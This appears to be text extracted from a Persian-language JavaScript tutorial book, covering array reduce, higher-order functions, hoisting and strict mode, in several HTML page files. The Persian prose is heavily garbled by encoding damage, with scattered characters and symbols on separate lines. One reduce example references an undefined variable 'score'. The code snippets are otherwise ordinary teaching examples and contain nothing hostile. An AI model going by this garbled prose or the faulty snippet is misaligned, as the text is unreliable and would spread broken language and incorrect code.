گ
³
ا
º
ان
¹
م
» Ù
¼ ه
í
ور
º
د.
É
·ک
ÈÁ ³
ا
ß±» ¶
ام
Á²
´ ب
³
عا
³²¹ÂÈ
ع
[
reduce
ز
²
رف¿ه
ÂÃ
پ
µ
اد
Ö¿
س
²
ÛÈ
ک¶ ¼ظیف¶ها´ ج
Ù
ش¾ی
»³
reduce
ز م¾د
» ´»¶¾Ó²Ð
ی
Å
ا
α²Ý¸ ϳ
¾فا
º» ،ÆÎ
ق
Ñ
ر مثا
³
²
ی¿ ب
ÌÁ
¶ میا
κ
ا
Þ
م
²Ì±³ ´»¶Â
ح
²
ر م
³ ¼ ¶Â
ح
²
م
Ú±
ر
³ »
آنها ر
³»
د
Õ¸ ¼
آموز
ÄÁ»³ ²
ها´ ه
ϲÈÁ
م¾دها´
Ä
ز بخ
» ³
و
à ´
¾¶ها
Ã
آمو
ëÎ
. ط
µ
ش
»³ Ï
د
Ô
ع
²
ب
»
آنها ر
³»
د
Õ¸ ¼
ت
»²ÈÁ ÛÈ
¶ ج
±»
آر
í
ا
º»
ر م·باشد،
»²¹¸ ç¼²
¼لی¶ ش
»
ر
»
د
Ý
م
Ö¼³ ²¾
م
»
ار
Å ¼ Û
¸اب
Ú± Ѽ» ²¾
م
»
ار
Å
reduce
Û
¸اب
³
ر مور
³ ،
¶ها
±»
آر
ن
»
و
É
¶ ب¶ ع
±»
آر
ϳ
¾فا
º»
د
ÉÁ
ما
ی
»
¼ا
¹
ت
ºÂ
¼ ϳ²¹Á Ï
د
É
بس
ç
ی¿ موضو
È
ها ب¶ ه
Ñ
¿ مثا
±»
ر
³ ¶¾Î
ل
»
¼
initial value
ر
»
د
Ý
ن م
³»
د
Á í
ا
Å ¼
reduce
¼لی¿ م¾د
»
ر
³ ،
accumulator
ان
È
ا ه
±
total
²¾
م
»
ار
Å
ÙÐ
ب¶ چ
reduce
¼می¿ م¾د
³
ر
³
initial value
ن
»
و
É
¶ ب¶ ع
±»
ر آر
»
د
Ý
¼لی¿ م
»
ز
» ϳ
¾فا
º» ¶ß
¾ی
Á
ر
³
هی
³·
م
ï²
¼ م¾د ر¼ ش
³ ¿±» Æà
م¶ ب¶ صورت مف
»³»
ر
³ .³
ور
÷
م
104
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/107.html ================================================
array
.reduce(
function
(
[sum , count], score
) {
return
[
sum + score ,
++count
];
} , [
0
,
0
])
.reduce(
function
(
sum, count
){
return
sum/count;
});
ید
É
م·ک
²¹Ó °
ا
Ⱦ
ح
» ،³
ر
»³ Ï
د
Ô
ع
²
ب
»
ر
³»
د
Õ¸ ¼ ç
و
Èß
ن م
³
آ¼ر
µº
¼ظیف¶ بد
reduce
¼لی¿ م¾د
»
¶Â
ر صورت مسئ
³
ما
» ،Ù
ی
É
ک
ϳ
¾فا
º» ²æÁ ³
¶ مور
±»
ر¼´ آر
²
ب
length
ز
» Ù
س¾ی
Á»
ح¾· م·¸و
»
ک¶ ب¶ ر
ی×
Á
¼ ما
³
و
ÎÁ ð
ی
Þ
¼لی¶ ص
» ¶±»
ز آر
»
length
ر
»
د
Ý
د، م
Á³
بو
Ï
شد
²¾Â
ی
Ó
ن
»
آموز
ÄÁ»³
، چون
ÆÎ
ق
¼ Ù
ی
É
ک
ϲ
ی
Ãè ²Ì±³ ²
م¾÷ی
Ú±
ر
³ »
ر
²¾Â
ی
Ó ¶ß
¾ی
Á ¼ ¶¾
س
¹
ش
»
ز م¾دها ر
» ϲ
ی
ßÁ
¿ ز
±» Ù
¾ی
º»
و
÷ÈÁ
Ö
ا
ÌÉ
ر ه
³ ،·
گ
³
ا
º ¶
ب
Ù
¾ی
Ó²
گ
Ù
ی
ÈภìÅ ،Ù
هی
³ ¶
م
»³» »
· کار ر
Ý
آن ماب
length
ش¾¿
»³
با
ì
پ
º
ی
É
¶ ک
κ
ا
Þ
ی× م
Á »
ر
²
اص
É
ع
³»
د
Õ¸ ،
sum
د´
É
ب
ÛÈ
ج
¿±» ¶
یات ب
ÂÈ
ع
Ö
ا
ßÁ» ´»²
· ک¶ ب
Õ
¸اب
Ù
ی
É
م·ک
Ï
اهد
Ð
، م
reduce
¼لی¿ م¾د
»
ر
³ ²¾Ð
شدن بی
ë
قی
³
با
¸ا
µº» ¶¾Ó²
¶ گ
±»
آر
Ú± ،´»¶¾
ا رش
± ´³
عد
ϳ
ا
º ²
م¾÷ی
Ú± ¿¾Ó²
، ب¶ جا´ گ
µº» Ï
شد
Ñ
ا
º
ر
»
م¾د
گف¾¶
¶Ë
باشت
·
ا
±
accumulator
´³¼
¿ ¼ر
±» ¶
حا ب
Íä
ص
»(
سید
±
و
É
ر¼´ آن ب
²
ب
»
ر
²æÁ ³
¾ا´ مور
±³
¼ ç
و
Èß
م
²±³
ا
Ý
· م
ÉÕ± ،
ر
»
د
Ý
م
Ú±
ز
» Ä
ر´ بی
»
د
ÔÌÁ ¶
ب
Û
یاز ¸اب
Á ،¶±»
ز آر
» ϳ
¾فا
º» Æ
لی
³ .)³
م·شو
آ¼ر´
³
ا
± »³
د
ß
م
»
ر
reduce
¾ار م¾د
Ã
ا
º .Ù
ی
É
ر´ ک
»
د
ÔÌÁ ²Ì¾
اش
ÎÁ»
ر
³ Ù
هی
»
و
÷
م·باشد ک¶ م
³»
د
Õ¸
ی
É
م·ک
.reduce(
function
(
accumulator , current
) {
// code
}, initialValue);
¿±» ²¾
م
»
ار
Å ¿
¼لی
» ¶
ک
µº» ¿±» ،³
¾¶ م·شو
Ó²
¿ م¾د ب¶ کار گ
±» ³
ر مور
³ Ï
ا
ξ
ش
» ¶
ب
»²
کث
» ¶
´ ک
»¶Â
مسئ
²¾
م
»
ار
Å ¿
¼می
³
ر
³ ¶Ã²
چ
²
· ه
ÂÕÓ
ر
»
د
Ý
¶ م
±»
آر
²
اص
É
ر¼´ ع
²
ر ب
»²¹¸ Ö
ا
ÌÉ
ر ه
³ ¼ µº» ²Ì¾
اش
ÎÁ»
م¾د
»
ر جار´ ر
»
د
Ý
م
²¾
م
»
ار
Å ¿
¼لی
» »²
کث
» ،
¶ها
±»
آر
²Ì±³ ´
م¾دها
³
ر مور
³ ¶¹
ر حالی
³ ،³²
ر م·گی
»²
ق
Û
¸اب
د.
É
ر´ م·ک
»
د
ÔÌÁ
ب¶
»
ر
accumulator
¶±»
بار آر
²
¾ار م·باشد ¼ ه
Ã
ا
º ¿
ی
È
ا با ه
Ý
قی
³ ×
ی
Á Ï
شد
ϳ
ز
Ñ
¶ کد مثا
Á
و
ÈÁ
د.
É
ر¼ز م·ک
105
Í×
پن
ØÉ³
================================================ FILE: HTML/108.html ================================================
.reduce(
function
(
[sum , count] , current
) {
return
[
sum + score ,
++count
];
} , [
0
,
0
]);
µº» Ï
¶ شد
κ
ا
Þ
م
count
¼
sum
á
ز
»³²Å ë±²
ز ط
» ¶
¶، ک
±»
آر
Ú± ·
گ
³
ا
º ¶
ی× ب
Á Û
¶ ¸اب
Á
بد
ÆÃ»³
ر
³
²àÉ
ک¶ ع
³
هد بو
»
و
à ¶±»
آر
Ú±
م¾د
á
ز
»³²Å Ö
ا
ȸ»
ز
» ìÅ
¼ج· کار
²Ã ¶ß
¾ی
Á ،³
م·شو
ϳ»³ µÐ
بازگ
م¾د
Ö¼³ ·Á»
و
û²Ó
ر
³ ·¾
ح
»
ب¶ ر
ìÅ ،
آنها م·باشد
³»
د
Õ¸ Ä
¼م
³ ²àÉ
¼ ع
²±³
ا
Ý
م
ç
و
Èß
آن م
Ѽ»
ì±
د
Á» ¼³ ´»
ر
»³( µº» ¿
ی
ÌÁ
¶ میا
κ
ا
Þ
م
ϳ
آما
Í
ک¶ کام
»
ر
Ï
¾¶ شد
Ã
ا
º ¶±»
آر
Ù
ی
Á»
م·¸و
reduce
ی¿
ÌÁ
ر میا
»
د
Ý
ب¶ م
ϳ
ا
º Ù
سی
ݸ Ú± Ö
ا
ßÁ»
، با
)µº» ²
اص
É
ع
³»
د
Õ¸ ·
¼م
³ ¼ ç
و
Èß
¼ل· م
» ¶
ک
µ
هس
ی
É
ک
Ʊ
د
θ ²æÁ ³
مور
.reduce(
function
(
sum, count
){
return
sum/count;
});
[
)
Higher order functions(
ر
ÁÚ
ا
³
به
Á
مر
À³²¶Á
ی¿ مثال· ک¶
È
ه
Ù
ی
±
و
Ì
ب
²
گ
» ·
باشد ¼ل
Ø
ا
ɺ²¸
¾ان
±»²
· ب
È
د ک
±
شا
²¸°
¶ با
θ²
م
Û
ب
»
¸و
Ö
و
Ô
مف
³
بو
HigherOrderFunctions
²Ì±³ ·¸
ار
Î
ا ب¶ ع
± °
¶ با
θ²
م
Û
ب
»
¸و
³²
ز کارک
» ·
¶ مثال
Á
و
ÈÁ Ù±³²
ک
Æ
ح
²
د ¼ ب
ÉÉ
م·ک
µÓ
ا
±
ر
³ Û
´ ب¶ صورت ¸اب
³¼
¼ر
²¾
م
»
ار
Å Ú± ¶
· ک
Õ
ب
»
، ¸و
µÝ
ی
Ý
ر ح
³ ،
ید
É
ک
éßÕ¸
د
±
شا
امی
Á·
م
²¸°
¶ با
θ²
م
Û
ب
»
¸و
»
د ر
É
ه
³·
م
Ö
ا
ßÁ» ·¸
یا
ÂÈ
ر¼´ آن ع
³
¼ظیف¶ مور
Ö
ا
ßÁ» ´»²
د، ک¶ ب
ɾ
هس
²¸°
¶ با
θ²
م
³²
با کارب
Û
ب
»
ز ¸و
» ´
¶ها
Á
و
ÈÁ
reduce
ا
± ²¾Â
ی
Ó Û
¸اب
Ò
ار
à ²Ì±³ ·
ن مثال
»
و
É
، ب¶ ع
Ù
هی
³ í
ا
Å Û
´ ب¶ آن ¸اب
³¼
ن ¼ر
»
و
É
ب¶ ع
»
· ر
Õ
د ک¶ ¸اب
Á
ر
»³
یاز
Á ،³
و
à ²æÁ
ید:
É
ک
Ï
اهد
Ð
م
»
ر
²±
¶ کد ز
¹¸
¶ها
±»
آر
îÞ
ز ب
»
106
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/109.html ================================================
var
sayName =
function
(
name
){
console
.log(
“Name: “
+ name);
}
function
manageList
( list ,
func
) {
list.forEach(func);
}
manageList( [
“ali”
,
“reza”
,
“karim”
] , sayName );
یات
ÂÈ
´ ع
»²
ج
» Ú± óÝÓ ¶
ک
sayName
Û
¶ ¸اب
Ç»
ر
» ¶
ید ک¶ چ¶ ل×¼م· ب
É
ک
Ñ»
و
º µº» ¿¹È
م
Û
¸اب
ÆÃ»³
ر
³ Ù
س¾ی
Á»
¼ م·¸و
³
بو
²Ì±³
م¾د
Ú± é
ر قال
³ ،³
ر
»³ Ï
د
Ô
ع
²
ب
»
ر
console.log
ب¶
Ê
بو
²
م
اب¾·
⠼ ϳ
ا
º ³²
کارک
manageList
Û
ک¶ ¸اب
µº» ¿±»
ر
³
؟ ¸فا¼ت
Ù
سی
±
و
É
ب
»
ان کد ر
È
ه
manageList
ن
»
و
É
´ ب¶ ع
²Ì±³ Û
¸اب
²
ه
µÓ
ا
±
ر
³
د با
Á»
ک¶ م·¸و
لیس
Ú± ²
اص
É
ر¼´ ع
²
ب
Û
¸اب
Ú± Ñ
ا
È
ع
»(³
ر
»³
Ï
¶ شد
Ç»
ر
» µ
ر لیس
³ ³
موجو
²
اص
É
ع
Ú¸ Ú¸ ´¼
ر
²
ب
»
´ ر
³¼
¼ر
Û
ر ¸اب
³ Ï
شد
ê±²Õ¸
یات
ÂÈ
´، ع
³¼
¼ر
د.
É
ک
»²
ج
»
107
Í×
پن
ØÉ³
================================================ FILE: HTML/11.html ================================================
رم
²
بخش چه
[
و ساخ¿ا¼ د¼و·´ آ¾¸ا
À³²¶Á
64
.........................................................................................
)
Functions
( Ú
تو´ب
66
..........................................................................
)Anonymous
( Þ
ا
Ñ
اش
º Ú
تو´ب
66
...........................................................................
²Î±
تابعی د
Á
ب
Ú
د´دن تاب
Þ
پا
69
...........................................................................................
Ú
تو´ب
prototype
73
...............................................................
¿اد¾
À
prototype
¾À
ا¾ ر
ȹ¸
م
ÊÀ
تفا
74
.........................................................................................
ه
¹º
ساز
Ú
ه تو´ب
²½Øº
ز
75
......................................................................................
prototype
ʰÍÏ
م
77
.....................................................................................
call
با ´س¸فاده ´ز
Ú
´¾ تو´ب
²
´ج
³
بخش پنج
[
object
یه و
²¼
رف¿ه آ
ÂÃ
مباحث پ
82
............................................................................................
ا
È Á±´
ا¾ آر
ȹ¸
م
90
.................................................................................
)array-like
(
ا
ÈÁ±´
آر
ÁÇ
ش
91
..................................................................................................
籫
¶ آر
É
سا
92
....................................................................................
Array
با
籫
¶ آر
É
سا
ʰÍÏ
م
95
...................................................................................
ا
È
object
د¾
²
کارب
Ú
تو´ب
99
............................................................................................
object
¾²
´رث ب
99
.......................................................
)
method chaining(
ا
ȹ¸
¾ م
²½Øº
ی ز
º´
و
É´²·
104
..............................................................................
reduce
´ز
Á¸·²Ï½
´س¸فاده پ
106
.......................................................
)
Higher order functions( ²
ت
ß
با
ÁÇ
ت
²
م
Ú
تو´ب
================================================ FILE: HTML/110.html ================================================
¾رود
º
ر
²
ای¿ بخش ا·تظ
À
ع
¹²
ط
º
از
Á
پ
±
¾¶ باشید.
Ã
ا
É
ش
»
¶ ها ر
±»
´ کار با آر
»²
ز آن ب
» ϳ
¾فا
º» ·±
ا
Á»
¶ها ¼ ¸و
±»
آر
³²
کارب
²Å ´
م¾دها
±
ش¾¶ باشید.
»³ ·
ول
ÈÕ
¶ م
±»
¶ ¼ ¸فا¼تها´ آن با آر
±»
¶ آر
Î
ز ش
» ·Â
کام
Ø
ر
³
±
ش¾¶ باشید.
»³ »
¶ ر
±»
آر
Ï
د
Á
از
º
¼ م¾د
array.of , array.from
ز
» ϳ
¾فا
º» ·±
ا
Á»
¸و
±
باشید.
ϳ²
ک
Ø
ر
³ »
ر
ê¾
ها´ مخ
Ï
¶ با شیو
±»
آر
µÃ
ا
º ´
¸فا¼تها
±
باشید.
Ï
ا شد
É
آش
object
µ±²±
´ مد
»²
ز آنها ب
» ϳ
¾فا
º» ¼
ها
object
ید´
Â
ک
Û
ب
»
با ¸و
±
ید.
É
س· ک
±
و
Á
¾ار کد
Ã
ا
º ¿±»
ز
» ϳ
¾فا
º»
ید با
Á»
¼ ب¾و
ϳ
ا بو
É
آش
method chaining
Ö
و
Ô
با مف
±
ϳ
¾فا
º» ¼
ر
Ä
ی
Å ÆÇ
مسا
Æ
´ ح
»²
ز آن ب
» ¼ ϳ²
ک
Ø
ر
³ »
ر
higher order function
Ö
و
Ô
مف
ید.
É
ک
108
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/111.html ================================================
³´µ
بخش
strict
ت
Ç
و حا
hoisting
ا¶½ا¼ بخش:
hoisting ±²³
آش¸ای· با مف
hoisting Á
ا
Ã
یت
²É
و
µ Ǻ½
strict mode
آش¸ای· با
برنامه
Áµ
جر
µ º½
strict mode ¹µ
ر
È
اث
À Ǻ½
strict
ت
É
ا
Ô º½
scope
آش¸ای· با
strict mode
ت
É
ا
Ô
ز
µ ÚÈ
صح
½
س¼فا
µ
strict
ت
É
ا
Ô º½ Û
ا
ÒÔ ½ºµ²
م
Ǻ½
================================================ FILE: HTML/112.html ================================================
[
)
Hoisting
( Û¿
ش
²
فر
²
ر
³
م·باشد ک¶
Û
ب
»
ها ¼ ¸و
²
م¾÷ی
ê±
ار
Õ¸
با
³
و
ò
ب
Ï
و
ÞÁ
ر
³ é
ها´ جال
Ö×
ی
Á
ا
¹
ز م
» ·¹± ·
گ
²±¼ ¿±»
ید ¼ل·
É
ک
ϳ
¾فا
º»
x
Û
ز ¸اب
» ²
گ
»
ا
È
ش
Ñ
´ مثا
»²
هد، ب
³·
م
Ñ
ا
ݾÁ»
´ کد
°
ب¶ با
»
· شدن آنها ر
Ó²Õ
م
·±
ا
äà ¼ ³
ر
»
د
Á ¶
ی
ñ
¿ ق
±»
· با
¹Ð
م
å
هی
µ
پ
±²¹º»¼
ید جا
É
ک
ê±²Õ¸ ¶
ام
Á²
ا´ ب
Ô¾Á»
ر
³ »
ر
Û
آن ¸اب
.³»³
هد
»
خو
Á ý
ر
از´
º ϳ
´ آما
»²
ب
Ʊ
یاز´ ب¶ کامپا
Á µ
پ
±²¹º»¼
، چون جا
Ù
هی
³ ð
¸وضی
Ù
هی
»
بخو
²
گ
» ·ÉÓ ü
ا
Þ
ب¶ ل
é
¸ی
²¸ ¿±» ¶
د، ب
Á
م·شو
»²
ج
» ¼ Ï
شد
Ʊ
کامپا
²
¼رگ
²
م
µÈº
ر
³ Ï
وش¾¶ شد
Á ´
، کدها
³
ر
»
د
Á »²
ج
» ¶
ب
د ¼
É
· م·ک
±
ا
º
ا
É
ش
»
ر
Ï
شد
ê±²Õ¸ Û
ب
»
ها ¼ ¸و
²
¼ م¾÷ی
ϳ²
· ک
º
ر
²
ب
»
ام¶ ر
Á²
کدها´ ب
»
ب¾د
»
ر
³ ²
¼رگ
²
م
¿±»
د، با
É
م·ک
ÆÝ¾É
م
scope
ا
± Ä
بخ
²
´ ه
»
ب¾د
» ¶
ب
»
ر
Û
ب
»
¼ ¸و
²
م¾÷ی
ê±
ار
Õ¸ ،²Ì±³ ´
ر گذر
³ ì
پ
º
د بو
É
ه
»
و
Ã
مان
»
ر
³ ²Ã
¼ ¸ا
Ö
د
ݸ ´
ا
äÃ
ز
»
د
ÉÈ
ب¶ صورت هوش
Ï
وش¾¶ شد
Á ´
کار کدها
Æ
ها قاب
²
¼رگ
²
ر¼´ م
²
د ک¶ ب
ÉÉ
م·ک
ϳ
¾فا
º»
WebAPI
ز
» ،Ï
¶ شد
Ç»
ر
» ´
ها
Ñ
زمثا
» ·ñÕ
ب
ÆàÓ ¿±»
ر
³
½¼ ¶Þ
ر صف
³ ¶
ک
1
document
Ö
ا
Á ¶
وم· ب
È
ع
object
Ú±
API
¿±»
ر
³ Ñ
´ مثا
»²
م·باشد. ب
í²¾º³
د
Á
ر
»³ ³
¼جو
object
¿±» ´¼
ر
²
´ م¾دها ب
²
س
¹± .
د
É
م·ک
Ï
شار
» ´
د جار
ɺ ¶
¼ ب
ϳ
بو
í²¾º³ Æ
قاب
getElementById
م¾د
Ñ
´ مثا
»²
د. ب
É
ه
³·
پ¾· م
±²¹º»¼
ام¶ جا
Á²
ب¶ ب
»
ر
HTML
µ±²±
ان مد
¹
م
» ¶
ک
ژگ·
±¼
ر¼´ آن
²
ن ب
»
¼ م·¸و
³³²
م·گ
Ï
· شد
Á»
و
û²Ó ϳ»³ ´³ ´
با آ
µÉÈ
ل
» Ú± Ñ
ا
ÎÁ³ ¶
¶ ب
Þ
رصف
³
µÉÈ
ل
» Ú± ´»
¾و
Þ
¼ م
³
ز
»
د صد
É
م·ک
Ù
ه
»²Ó »
· آن ر
Âû³
html
²
ان ¸÷یی
¹
م
» ¶
ک
»
ر
innerHTML
.³»³ ²
¸÷یی
Ï»
لخو
³
ب¶ صورت
»
ر
Ë
و
à
مخ
Æ
ی
ó ³
ا
±
ز
»
· ر
ÎÁ
جا
ÆÇ
¼ مسا
³
¾¶ شو
û³²Å
زبان
Ö
و
Ô
ب¶ مف
²¾Ð
بی
µº» Ï
· شد
Õº ½
¿ ک¾ا
±»
ر
³
د:
É
م·ک
ϳ
¾فا
º» ×
ی
Á
webAPI
ز
» ¶
ید ک
É
¸وج¶ ک
hoisting
Ë
و
àÃ
ر
³
د
Õ
ب
Ñ
. ب¶ مثا
³²¹Á
1 https://html.spec.whatwg.org/multipage/webappapis.html#document-environment
110
strict
ÇȲ
و ح
hoisting
================================================ FILE: HTML/113.html ================================================
count =
15
;
// Assign 15 to count
var
elem =
document
.getElementById(
“dataCount”
);
// Find an element
elem.innerHTML = count;
// Display count in the element
var
count;
// Declare count
وش¾¶
Á
ز کد
» ²Ã
آ
²äº
ر
³
شدن آن
ê±²Õ¸ ·
، ¼ل
Ï
ه· شد
³
ر
»
د
Ý
م
15 ³
با عد
»
ب¾د
»
ر
³
count
²
م¾÷ی
ر
³ ²
ه· م¾÷ی
³
ر
»
د
Ý
شدن ¼ م
ê±²Õ¸ ¶
ک
²±
ام¶ ز
Á²
¼ج· ب
²Ã
ام¶ با
Á²
¿ ب
±» ·
¼ج
²Ã
ما
» ،µº» Ï
شد
ش
»³
هد
»
خو
Á ·¸¼
¸فا
å
، هی
µº» Ï
شد
Ö
ا
ßÁ»
´ کار
»
ب¾د
»
var
count =
15
;
// Declare and Assign 15 to count
// Find an element
var
elem =
document
.getElementById(
“dataCount”
);
// Display count in the element
elem.innerHTML = count;
د بیان شو
Á»
م·¸و
²±
ز
ƹ
ی× ب¶ ش
Á Û
ب
»
ز ¸و
» ϳ
¾فا
º» ´»²
ب
Ñ
ی¿ مثا
È
ه
// Use welcome fn before declare
welcome(
“Alireza”
);
// Declare welcome fn
function
welcome
(
name
) {
return
‘hi, ‘ + name
;
}
³²¹ÂÈ
ر ع
³ ´²
ی
â
¸ا
ç
¿ موضو
±» ·
¼ل
µº» Ï
شد
걲ո ϳ
¾فا
º»
ز
»
د
Õ
ب
welcome
Û
¸اب
°
با
Ñ
ر مثا
³
hoist
ïÍä
ص
» ¶
ا ب
± ¶¾
ش
»²Ó»²
ب
»
ر
Û
¸اب
»²
ج
»
ز
» Ä
ی
Å ²Â±
ک¶ کامپا
»²
، چ
µ
ش
»³
هد
»
خو
Á ¶
ام
Á²
ب
ð
ی
Þ
ص
د.
É
م·ک
ا
È
¼ق¾· ش
ک¶
µº» ¿±» µ
پ
±²¹º»¼
ها´ جا
²
ه· م¾÷ی
³
ر
»
د
Ý
¼ م
ê±²Õ¸ ³
ر مور
³ µ
ی
È
ه
» ×Ç
¾¶´ حا
¹Á
111
ÍÂ
ش
ØÉ³
================================================ FILE: HTML/114.html ================================================
هید ب¶ صورت:
³·
م
µÎ
س
Á ´
ر
»
د
Ý
¼ ب¶ آن م
ê±²Õ¸ »
ر
²
م¾÷ی
Ú±
var
age =
20
;
¼ ب¶
Ä
¼ بخ
³
ر
³ »
ر
ø
و
Ó
¶ کد
¹¸ µ
پ
±²¹º»¼
ما جا
»
د
±» ¶¾
وش
Á
ارت
Î
ع
Ú±
ید
É
ور م·ک
ภ°
ا
Ⱦ
ح
»
د:
É
م·ک
á
ز
»³²Å ²±
ز
ƹ
ش
var
age;
age =
20
;
ا میدهد،
È
ب¶ ش
Reference
¼
Type
اها´
äÃ
ز
» ´²
وگی
Â
ر ج
³ ´³
ا
±
ز
²
ی
â
¾¶ ¸ا
¹Á ¿±» Æ
کام
Ø
ر
³
¾¶ شو
Ó²
گ
Ï
ا
ξ
ش
»
hoisting
با
µº» ¿¹È
ک¶ م
µº» ç
ی¿ موضو
È
ه
³
ر مور
³ ²±
ها´ ز
Ñ
مثا
getAge();
function
getAge
() {
console
.log( age );
// undefined
var
age =
20
;
}
Ù
ی
±
ید ک¶ م·گو
É
¸وج¶ ک
( ³
یی¿ م·شو
Õ¸ ·
¼ج
²Ã ¿¾Ó²
ز گ
»
د
Õ
ب
age
²
ر م¾÷ی
»
د
Ý
م
°
¶ کد با
¹¸
ر
³
.)³
یی¿ م·شو
Õ¸ ·
¼ج
²Ã ¿¾Ó²
ز گ
»
د
Õ
آن ب
قد·ر
³
»
ب¾د
» Û
¸اب
scope
ÆÃ»³
ر
³ ²
شدن م¾÷ی
ê±²Õ¸
hoisting
³²¹±¼
ر
í
ا
º» ²
· ب
ÂÎ
س¾¶ها´ ق
Á»³ ëÎ
ط
:µº» Ï
وش¾¶ شد
Á ²±
ز
Ö²Ó ¶
ب
°
· کد با
±
¼ گو
µº» Ï
شد
Ö
ا
ßÁ»
function
getAge
() {
var
age;
console
.log( age );
// undefined
age =
20
;
}
getAge();
[
hoisting
¶یت
Ä
و
²
´ م·باشد.
³
ب¶ صورت عا
Ï
شد
ê±²Õ¸ Û
ب
»
با ¸و
µ±
¼لو
» ،
hoisting
ç
´ ¼قو
»²
سان ب
¹± ó±»²
ر ش
³
112
strict
ÇȲ
و ح
hoisting
================================================ FILE: HTML/115.html ================================================
ید:
É
¸وج¶ ک
²±
ز
Ñ
د ¼ ب¶ مثا
±
شو
ë
قی
³ ·È
ک
var
getAge;
getAge();
function
getAge
() {
console
.log(
16
);
}
getAge =
function
() {
console
.log(
26
);
};
ê±²Õ¸
ز آن
»
د
Õ
¼ ب
Ï
شد
ϳ
ز
»
صد
getAge
Û
¸اب
ì
پ
º ،µº» Ï
شد
ê±²Õ¸ »
ب¾د
»
ر
³
getAge
²
م¾÷ی
¾¶ ¸وج¶
Î
ل
» ،µº» Ï
ه· شد
³
ر
»
د
Ý
م
getAge
²
· ب¶ م¾÷ی
Õ
ا ¸اب
Ô¾Á»
ر
³ ¼ µº» Ï
شد
Ö
ا
ßÁ» Û
´ ¸اب
³
عا
.³²
هد ک
»
و
Ã
· م¾فا¼ت
È
ک
»
ر
é
¸ی
²¸ ¿±»
hoisting
شدن
Ö
ا
ßÁ» ¶
ش¾¶ باشید ک
»³
وش¾¶
Á Ñ
سو
É
¼ج· ک
²Ã
ر
³ ´
ر
»
د
Ý
چ¶ م
ø
و
Ó
´ کد
»²
ج
»
ز
» ìÅ
hoisting
¿¾Ó²
گ
²æÁ
ر
³
¸ان با
²æÁ ¶
ب
).µº» 16 :Ąº
ا
Å(
؟
³
م·شو
ها
²
ب¶ م¾÷ی
µÎ
س
Á ´²¸°
با
µ±
¼لو
» Û
ب
»
سان، ¸و
¹± ·
ام
º» ³
ر مور
³
hoisting
Ö
ا
ßÁ» Ö
ا
ÌÉ
ر ه
³
· م·شو
º
ر
²
ب
²±
ب¶ صورت ز
engine
óº
¸و
°
¶ کد با
¹¸ é
¸ی
²¸ ¿±» ¶
د ¼ ب
Á²
م·گی
// declare variable
var
getAge;
// hoisted function
function
getAge
() {
console
.log(
16
);
}
// call method
getAge();
// functions as variable
getAge =
function
() {
console
.log(
26
);
};
113
ÍÂ
ش
ØÉ³
================================================ FILE: HTML/116.html ================================================
²¸ë
قی
³ »
ر
³
¿ مور
±»
د
Õ
ب
Ñ
ر مثا
³
هد؟
³·
م
ý
¸فاق· ر
» ¶
چ
Ù
ش¾¶ باشی
»³ Ö
ا
Á Ù
ه
Û
¼ ¸اب
³ ²
گ
» Ñ
حا
.Ù±»Ï³²
· ک
º
ر
²
ب
var
getAge;
// call method
getAge();
// first get age
function
getAge
() {
console
.log(
16
);
}
// functions as variables
getAge =
function
() {
console
.log(
26
);
};
// second get age method!
function
getAge
() {
console
.log(
36
);
}
Ö¼³ Û
¸اب
ì
پ
º ¼ Ï
شد
hoist
Ѽ» Û
¸اب
»
ب¾د
» ¶
¿ صورت ک
±» ¶
، ب
³
هد بو
»
و
à 36
ی×
Á °
¼ج· کد با
²Ã
Ï
د
Ô
ع
²
ب
»
ر
Û
· شدن ¸اب
Á»
و
û²Ó µ±²±
مد
Ѽ» Û
¶ ¸اب
Á
ب¶ جا´ بد
Ö¼³ Û
¶ ¸اب
Á
¼ بد
³
م·شو
hoist
ê±²Õ¸ )¿±²Ã
آ
Ù
ی
±
و
Ì
ب
µº» ²¾Ô
ا ب
±( ¿
¼می
³ ²æÁ ³
· م¾د مور
Á»
و
û²Ó
با
é
¸ی
²¸ ¿±» ¶
، ب
³²
م·گی
د.
É
م·ک
ö
چا
»
ر
²æÁ ³
ر مور
»
د
Ý
¼ م
Ï
شد
»²
ج
» Û
´ ¸اب
»²
ب
Ï
شد
Ö
ا
ßÁ»
Ø
ر
³ ³»²Ó» ¶
ی
Ý
´ ب
»²
ب
µº» ¿¹È
ک¶ م
»²
، چ
³
·شو
ÈÁ ¶
¼ج¶ ¸وصی
å
س· ب¶ هی
±
و
Á
ز کد
» Úκ ¿±» ¶¾Î
ل
»
ام¶،
Á²
´ کدها´ ب
»²
ج
» ¼ ·º
ر
²
ب
Ï
و
ÞÁ ê
ها، ¸وصی
µ
¿ حال
±» ¶Ç»
ر
»
ز
» ò
ر باشد ¼ هد
»
شو
³
ن آن
³²
ک
.µº» Ï
د
ÉÉ
ک
Ʊ
مو¸ورها´ کامپا
óº
¸و
شدن
hoist
Ï
و
ÞÁ ¼ Û
ب
»
ز ¸و
» ϳ
¾فا
º» ¶
ک
³
ز
Ñ
ن مثا
»
ی× م·¸و
Á »
´ ر
²Ì±³ ²¸é
ی
ß
ها´ ع
µ
ح¾· حال
ک¶
µº» ·±
ها
µ
ز حال
» ·¹± ،·
ط
²
ب¶ صورت ش
Û
ب
»
شدن ¸و
ê±²Õ¸ ،Ñ
´ مثا
»²
، ب
³
از
º ²¸ò
شفا
»
آنها ر
ر
³ Û
ب
»
¸و
ê±²Õ¸
ز
»
ان
¹
م
»
¸ا حد
ìÅ ،
ش¾¶ باشد
»³ ¶
ام
Á²
´ ب
»²
ب
»
´ ر
»Ï²æ¾É
م
²
ی
õ ¶ß
¾ی
Á µº» ¿¹È
م
114
strict
ÇȲ
و ح
hoisting
================================================ FILE: HTML/117.html ================================================
hoisting
Ö
و
Ô
مف
let , const
´»²
¼ ب
es6
ر
³ ¶
ید ک
É
ید. ¸وج¶ ک
É
ر´ ک
»³³
و
à ·
ط
²
ها´ ش
ØÍ
ب
ÆÃ»³
ReferenceError
ا´
äÃ
شدن
ê±²Õ¸
ز
» ÆÎ
´ ق
²
ز م¾÷ی
» ϳ
¾فا
º»
ر صورت
³
¼ ³
ر
»
د
Á ·ÉÕ
م
.³²
هید ک
»
و
à µÓ
ا
±
ر
³
[
)
·ه
²
ر
ÃÏ
ت
É
س
(
strict
ت
Ä
حا
·È¹Þ
¼ م
Ë
ا
à µ
ام¶ م·باشد ک¶ حال
Á²
´ ب
